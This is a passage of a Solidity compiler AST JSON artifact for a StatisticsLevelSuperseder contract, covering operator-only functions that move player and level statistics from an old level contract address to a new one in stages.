memory"}},"id":57560,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"14653:13:117","memberName":"timeCompleted","nodeType":"MemberAccess","referencedDeclaration":56478,"src":"14638:28:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"14537:129:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":57562,"nodeType":"ExpressionStatement","src":"14537:129:117"},{"expression":{"id":57573,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"baseExpression":{"baseExpression":{"id":57563,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56529,"src":"14684:11:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$56482_storage_$_$","typeString":"mapping(address => mapping(address => struct StatisticsLevelSuperseder.LevelInstance storage ref))"}},"id":57568,"indexExpression":{"baseExpression":{"id":57564,"name":"players","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56461,"src":"14696:7:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":57566,"indexExpression":{"id":57565,"name":"_usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57487,"src":"14704:16:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"14696:25:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"14684:38:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$56482_storage_$","typeString":"mapping(address => struct StatisticsLevelSuperseder.LevelInstance storage ref)"}},"id":57569,"indexExpression":{"id":57567,"name":"_newLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57483,"src":"14723:24:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"14684:64:117","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$56482_storage","typeString":"struct StatisticsLevelSuperseder.LevelInstance storage ref"}},"id":57570,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"14749:13:117","memberName":"timeSubmitted","nodeType":"MemberAccess","referencedDeclaration":56481,"src":"14684:78:117","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage","typeString":"uint256[] storage ref"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":57571,"name":"actualInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57496,"src":"14785:14:117","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$56482_memory_ptr","typeString":"struct StatisticsLevelSuperseder.LevelInstance memory"}},"id":57572,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"14800:13:117","memberName":"timeSubmitted","nodeType":"MemberAccess","referencedDeclaration":56481,"src":"14785:28:117","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_memory_ptr","typeString":"uint256[] memory"}},"src":"14684:129:117","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage","typeString":"uint256[] storage ref"}},"id":57574,"nodeType":"ExpressionStatement","src":"14684:129:117"},{"expression":{"id":57583,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"baseExpression":{"id":57575,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56529,"src":"14832:11:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$56482_storage_$_$","typeString":"mapping(address => mapping(address => struct StatisticsLevelSuperseder.LevelInstance storage ref))"}},"id":57580,"indexExpression":{"baseExpression":{"id":57576,"name":"players","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56461,"src":"14844:7:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":57578,"indexExpression":{"id":57577,"name":"_usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57487,"src":"14852:16:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"14844:25:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"14832:38:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$56482_storage_$","typeString":"mapping(address => struct StatisticsLevelSuperseder.LevelInstance storage ref)"}},"id":57581,"indexExpression":{"id":57579,"name":"_oldLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57479,"src":"14871:24:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"14832:64:117","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$56482_storage","typeString":"struct StatisticsLevelSuperseder.LevelInstance storage ref"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":57582,"name":"levelInstanceEmpty","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57492,"src":"14899:18:117","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$56482_memory_ptr","typeString":"struct StatisticsLevelSuperseder.LevelInstance memory"}},"src":"14832:85:117","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$56482_storage","typeString":"struct StatisticsLevelSuperseder.LevelInstance storage ref"}},"id":57584,"nodeType":"ExpressionStatement","src":"14832:85:117"}]}},{"expression":{"id":57588,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"14946:18:117","subExpression":{"id":57587,"name":"_usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57487,"src":"14946:16:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":57589,"nodeType":"ExpressionStatement","src":"14946:18:117"}]},"condition":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":57601,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":57594,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[],"expression":{"argumentTypes":[],"id":57591,"name":"gasleft","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-7,"src":"14983:7:117","typeDescriptions":{"typeIdentifier":"t_function_gasleft_view$__$returns$_t_uint256_$","typeString":"function () view returns (uint256)"}},"id":57592,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14983:9:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"333330303030","id":57593,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"14995:6:117","typeDescriptions":{"typeIdentifier":"t_rational_330000_by_1","typeString":"int_const 330000"},"value":"330000"},"src":"14983:18:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"id":57600,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"15005:37:117","subExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":57598,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":57595,"name":"_usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57487,"src":"15007:16:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"id":57596,"name":"players","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56461,"src":"15027:7:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":57597,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"15035:6:117","memberName":"length","nodeType":"MemberAccess","src":"15027:14:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"15007:34:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"id":57599,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"15006:36:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"14983:59:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":57602,"nodeType":"DoWhileStatement","src":"13961:1083:117"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":57606,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":57603,"name":"_usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57487,"src":"15058:16:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"id":57604,"name":"players","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56461,"src":"15078:7:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":57605,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"15086:6:117","memberName":"length","nodeType":"MemberAccess","src":"15078:14:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"15058:34:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":57617,"nodeType":"IfStatement","src":"15054:131:117","trueBody":{"id":57616,"nodeType":"Block","src":"15094:91:117","statements":[{"expression":{"id":57610,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":57607,"name":"dumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56563,"src":"15108:9:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":57608,"name":"DumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56560,"src":"15120:9:117","typeDescriptions":{"typeIdentifier":"t_type$_t_enum$_DumpStage_$56560_$","typeString":"type(enum StatisticsLevelSuperseder.DumpStage)"}},"id":57609,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"15130:11:117","memberName":"LEVEL_STATS","nodeType":"MemberAccess","referencedDeclaration":56557,"src":"15120:21:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"src":"15108:33:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"id":57611,"nodeType":"ExpressionStatement","src":"15108:33:117"},{"expression":{"id":57614,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":57612,"name":"usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56545,"src":"15155:15:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"30","id":57613,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"15173:1:117","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"15155:19:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":57615,"nodeType":"ExpressionStatement","src":"15155:19:117"}]}},{"id":57622,"nodeType":"Block","src":"15194:59:117","statements":[{"expression":{"id":57620,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":57618,"name":"usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56545,"src":"15208:15:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":57619,"name":"_usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57487,"src":"15226:16:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"15208:34:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":57621,"nodeType":"ExpressionStatement","src":"15208:34:117"}]}]},"functionSelector":"14becfbc","implemented":true,"kind":"function","modifiers":[{"id":57468,"kind":"modifierInvocation","modifierName":{"id":57467,"name":"onlyOperator","nameLocations":["13574:12:117"],"nodeType":"IdentifierPath","referencedDeclaration":56575,"src":"13574:12:117"},"nodeType":"ModifierInvocation","src":"13574:12:117"}],"name":"dumpPlayerStats","nameLocation":"13549:15:117","parameters":{"id":57466,"nodeType":"ParameterList","parameters":[],"src":"13564:2:117"},"returnParameters":{"id":57469,"nodeType":"ParameterList","parameters":[],"src":"13587:0:117"},"scope":57867,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":57661,"nodeType":"FunctionDefinition","src":"15265:373:117","nodes":[],"body":{"id":57660,"nodeType":"Block","src":"15311:327:117","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"},"id":57633,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":57630,"name":"dumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56563,"src":"15329:9:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"id":57631,"name":"DumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56560,"src":"15342:9:117","typeDescriptions":{"typeIdentifier":"t_type$_t_enum$_DumpStage_$56560_$","typeString":"type(enum StatisticsLevelSuperseder.DumpStage)"}},"id":57632,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"15352:11:117","memberName":"LEVEL_STATS","nodeType":"MemberAccess","referencedDeclaration":56557,"src":"15342:21:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"src":"15329:34:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e6f7420636f72726563742064756d70207374616765","id":57634,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"15365:24:117","typeDescriptions":{"typeIdentifier":"t_stringliteral_f26e2442308769ca007a2bf5bb4a9d00f7095eaccc5492eaf183a870dc67cd26","typeString":"literal_string \"Not correct dump stage\""},"value":"Not correct dump stage"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_f26e2442308769ca007a2bf5bb4a9d00f7095eaccc5492eaf183a870dc67cd26","typeString":"literal_string \"Not correct dump stage\""}],"id":57629,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"15321:7:117","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":57635,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15321:69:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":57636,"nodeType":"ExpressionStatement","src":"15321:69:117"},{"assignments":[57639],"declarations":[{"constant":false,"id":57639,"mutability":"mutable","name":"levelEmpty","nameLocation":"15414:10:117","nodeType":"VariableDeclaration","scope":57660,"src":"15401:23:117","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_Level_$56489_memory_ptr","typeString":"struct StatisticsLevelSuperseder.Level"},"typeName":{"id":57638,"nodeType":"UserDefinedTypeName","pathNode":{"id":57637,"name":"Level","nameLocations":["15401:5:117"],"nodeType":"IdentifierPath","referencedDeclaration":56489,"src":"15401:5:117"},"referencedDeclaration":56489,"src":"15401:5:117","typeDescriptions":{"typeIdentifier":"t_struct$_Level_$56489_storage_ptr","typeString":"struct StatisticsLevelSuperseder.Level"}},"visibility":"internal"}],"id":57640,"nodeType":"VariableDeclarationStatement","src":"15401:23:117"},{"expression":{"id":57647,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":57641,"name":"levelStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56510,"src":"15434:10:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_Level_$56489_storage_$","typeString":"mapping(address => struct StatisticsLevelSuperseder.Level storage ref)"}},"id":57643,"indexExpression":{"id":57642,"name":"newLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56549,"src":"15445:23:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"15434:35:117","typeDescriptions":{"typeIdentifier":"t_struct$_Level_$56489_storage","typeString":"struct StatisticsLevelSuperseder.Level storage ref"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":57644,"name":"levelStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56510,"src":"15472:10:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_Level_$56489_storage_$","typeString":"mapping(address => struct StatisticsLevelSuperseder.Level storage ref)"}},"id":57646,"indexExpression":{"id":57645,"name":"oldLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56547,"src":"15483:23:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"15472:35:117","typeDescriptions":{"typeIdentifier":"t_struct$_Level_$56489_storage","typeString":"struct StatisticsLevelSuperseder.Level storage ref"}},"src":"15434:73:117","typeDescriptions":{"typeIdentifier":"t_struct$_Level_$56489_storage","typeString":"struct StatisticsLevelSuperseder.Level storage ref"}},"id":57648,"nodeType":"ExpressionStatement","src":"15434:73:117"},{"expression":{"id":57653,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":57649,"name":"levelStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56510,"src":"15517:10:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_Level_$56489_storage_$","typeString":"mapping(address => struct StatisticsLevelSuperseder.Level storage ref)"}},"id":57651,"indexExpression":{"id":57650,"name":"oldLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56547,"src":"15528:23:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"15517:35:117","typeDescriptions":{"typeIdentifier":"t_struct$_Level_$56489_storage","typeString":"struct StatisticsLevelSuperseder.Level storage ref"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":57652,"name":"levelEmpty","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57639,"src":"15555:10:117","typeDescriptions":{"typeIdentifier":"t_struct$_Level_$56489_memory_ptr","typeString":"struct StatisticsLevelSuperseder.Level memory"}},"src":"15517:48:117","typeDescriptions":{"typeIdentifier":"t_struct$_Level_$56489_storage","typeString":"struct StatisticsLevelSuperseder.Level storage ref"}},"id":57654,"nodeType":"ExpressionStatement","src":"15517:48:117"},{"expression":{"id":57658,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":57655,"name":"dumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56563,"src":"15576:9:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":57656,"name":"DumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56560,"src":"15588:9:117","typeDescriptions":{"typeIdentifier":"t_type$_t_enum$_DumpStage_$56560_$","typeString":"type(enum StatisticsLevelSuperseder.DumpStage)"}},"id":57657,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"15598:33:117","memberName":"LEVEL_EXISTS_AND_LEVELS_ARRAY_FIX","nodeType":"MemberAccess","referencedDeclaration":56558,"src":"15588:43:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"src":"15576:55:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"id":57659,"nodeType":"ExpressionStatement","src":"15576:55:117"}]},"functionSelector":"a4bc7766","implemented":true,"kind":"function","modifiers":[{"id":57627,"kind":"modifierInvocation","modifierName":{"id":57626,"name":"onlyOperator","nameLocations":["15298:12:117"],"nodeType":"IdentifierPath","referencedDeclaration":56575,"src":"15298:12:117"},"nodeType":"ModifierInvocation","src":"15298:12:117"}],"name":"dumpLevelStats","nameLocation":"15274:14:117","parameters":{"id":57625,"nodeType":"ParameterList","parameters":[],"src":"15288:2:117"},"returnParameters":{"id":57628,"nodeType":"ParameterList","parameters":[],"src":"15311:0:117"},"scope":57867,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":57715,"nodeType":"FunctionDefinition","src":"15644:536:117","nodes":[],"body":{"id":57714,"nodeType":"Block","src":"15703:477:117","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"},"id":57670,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":57667,"name":"dumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56563,"src":"15721:9:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"id":57668,"name":"DumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56560,"src":"15734:9:117","typeDescriptions":{"typeIdentifier":"t_type$_t_enum$_DumpStage_$56560_$","typeString":"type(enum StatisticsLevelSuperseder.DumpStage)"}},"id":57669,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"15744:33:117","memberName":"LEVEL_EXISTS_AND_LEVELS_ARRAY_FIX","nodeType":"MemberAccess","referencedDeclaration":56558,"src":"15734:43:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"src":"15721:56:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e6f7420636f72726563742064756d70207374616765","id":57671,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"15779:24:117","typeDescriptions":{"typeIdentifier":"t_stringliteral_f26e2442308769ca007a2bf5bb4a9d00f7095eaccc5492eaf183a870dc67cd26","typeString":"literal_string \"Not correct dump stage\""},"value":"Not correct dump stage"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_f26e2442308769ca007a2bf5bb4a9d00f7095eaccc5492eaf183a870dc67cd26","typeString":"literal_string \"Not correct dump stage\""}],"id":57666,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"15713:7:117","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":57672,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15713:91:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":57673,"nodeType":"ExpressionStatement","src":"15713:91:117"},{"assignments":[57675],"declarations":[{"constant":false,"id":57675,"mutability":"mutable","name":"_oldLevelContractAddress","nameLocation":"15823:24:117","nodeType":"VariableDeclaration","scope":57714,"src":"15815:32:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":57674,"name":"address","nodeType":"ElementaryTypeName","src":"15815:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":57677,"initialValue":{"id":57676,"name":"oldLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56547,"src":"15850:23:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"15815:58:117"},{"assignments":[57679],"declarations":[{"constant":false,"id":57679,"mutability":"mutable","name":"deployId","nameLocation":"15892:8:117","nodeType":"VariableDeclaration","scope":57714,"src":"15884:16:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":57678,"name":"uint256","nodeType":"ElementaryTypeName","src":"15884:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":57681,"initialValue":{"hexValue":"30","id":57680,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"15903:1:117","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"nodeType":"VariableDeclarationStatement","src":"15884:20:117"},{"body":{"id":57690,"nodeType":"Block","src":"15967:35:117","statements":[{"expression":{"id":57688,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"15981:10:117","subExpression":{"id":57687,"name":"deployId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57679,"src":"15981:8:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":57689,"nodeType":"ExpressionStatement","src":"15981:10:117"}]},"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":57686,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"baseExpression":{"id":57682,"name":"levels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56464,"src":"15921:6:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":57684,"indexExpression":{"id":57683,"name":"deployId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57679,"src":"15928:8:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"15921:16:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"id":57685,"name":"_oldLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57675,"src":"15941:24:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"15921:44:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":57691,"nodeType":"WhileStatement","src":"15914:88:117"},{"expression":{"id":57696,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":57692,"name":"levels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56464,"src":"16011:6:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage 